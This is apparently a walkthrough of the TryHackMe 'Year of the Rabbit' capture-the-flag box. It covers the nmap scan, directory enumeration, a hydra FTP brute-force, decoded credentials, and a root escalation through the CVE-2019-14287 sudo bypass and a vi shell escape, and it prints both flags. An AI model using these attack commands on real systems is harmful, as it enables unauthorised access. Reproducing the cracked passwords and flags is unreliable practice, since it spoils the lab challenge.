Year of the Rabbit CTF

Can you hack into the Year of the Rabbit box without falling down a hole?

(Please ensure your volume is turned up!)

Setup ✅

➜  TryHackMe nmap -A -vv 10.10.233.188

21/tcp open  ftp     syn-ack vsftpd 3.0.2

22/tcp open  ssh     syn-ack OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAILCKdtvyy1FqH1gBS+POXpHMlDynp+m6Ewj2yoK2PJKJeQeO2yRty1/qcf0eAHJGRngc9+bRPYe4M518+7yBVdO2p8UbIItiGzQHEXJu0tGdhIxmpbTdCT6V8HqIDjzrq2OB/PmsjoApVHv9N5q1Mb2i9J9wcnzlorK03gJ9vpxAAAAFQDVV1vsKCWHW/gHLSdO40jzZKVoyQAAAIA9EgFqJeRxwuCjzhyeASUEe+Wz9PwQ4lJI6g1z/1XNnCKQ9O6SkL54oTkB30RbFXBT54s3a11e5ahKxtDp6u9yHfItFOYhBt424m14ks/MXkDYOR7y07FbBYP5WJWk0UiKdskRej9P79bUGrXIcHQj3c3HnwDfKDnflN56Fk9rIwAAAIBlt2RBJWg3ZUqbRSsdaW61ArR4YU7FVLDgU0pHAIF6eq2R6CCRDjtbHE4X5eW+jhi6XMLbRjik9XOK78r2qyQwvHADW1hSWF6FgfF2PF5JKnvPG3qF2aZ2iOj9BVmsS5MnwdSNBytRydx9QJiyaI4+HyOkwomj0SINqR9CxYLfRA==
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZyTWF65dczfLiKN0cNpHhm/nZ7FWafVaCf+Oxu7+9VM4GBO/8eWI5CedcIDkhU3Li/XBDUSELLXSRJOtQj5WdBOrFVBWWA3b3ICQqk0N1cmldVJRLoP1shBm/U5Xgs5QFx/0nvtXSGFwBGpfVKsiI/YBGrDkgJNAYdgWOzcQqol/nnam8EpPx0nZ6+c2ckqRCizDuqHXkNN/HVjpH0GhiscE6S6ULvq2bbf7ULjvWbrSAMEo6ENsy3RMEcQX+Ixxr0TQjKdjW+QdLay0sR7oIiATh5AL5vBGHTk2uR8ypsz1y7cTyXG2BjIVpNWeTzcip7a2/HYNNSJ1Y5QmAXoKd
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHKavguvzBa889jvV30DH4fhXzMcLv6VdHFx3FVcAE0MqHRcLIyZcLcg6Rf0TNOhMQuu7Cut4Bf6SQseNVNJKK8=
|   256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFBJPbfvzsYSbGxT7dwo158eVWRlfvXCxeOB4ypi9Hgh

80/tcp open  http    syn-ack Apache httpd 2.4.10 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Let’s see if there is some hidden directory

➜  TryHackMe dirb http://10.10.233.188/

Take a look at the page: /sup3r_s3cr3t_fl4g.php

Well let’s turn off javascript

Firefox: Enable/Disable Javascript - Technipages

As the message says you need to listen to the music

Approximately at 1min in the video you can hear

I’ll put you out of your misery you’re looking in the wrong place

Just to be sure let’s intercept the page with burp suite

I tried to intercept some hidden directory without the JS enable, with JS enabled this came out

http://10.10.233.188/intermediary.php?hidden_directory=/WExYY2Cv-qU

Let’s see if there is something hidden on the image 🤓

Let’s create a word-list and use hydra to launch the bruteforce attack !

➜  TryHackMe hydra -l ftpuser -P ftppass.txt ftp://10.10.233.188

login: ftpuser
password: 5iez1wGXKfPKQ

As you can see there is this password encoded with brainfuck let’s crack it ! 🤑

Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online.

User: eli
Password: DSpDiM1wAEwid

#1 What is the user flag?

Let’s use the creds that we crack earlier and connect to the ssh server

Nothing there let’s try something else 😢

password: MniVCQVhQHUNI

ssh gwendoline@10.10.233.188

THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

#2 What is the root flag?

gwendoline@year-of-the-rabbit:~$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

CVE-2019-14287 sudo Vulnerability Allows Bypass of User Restrictions

vi | GTFOBins

#Type the following commands in vi
vi
:set shell=/bin/sh
:shell

#Root flag
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}

Year of the Rabbit CTF - TryHackMe

Setup ✅

#1 What is the user flag?

#2 What is the root flag?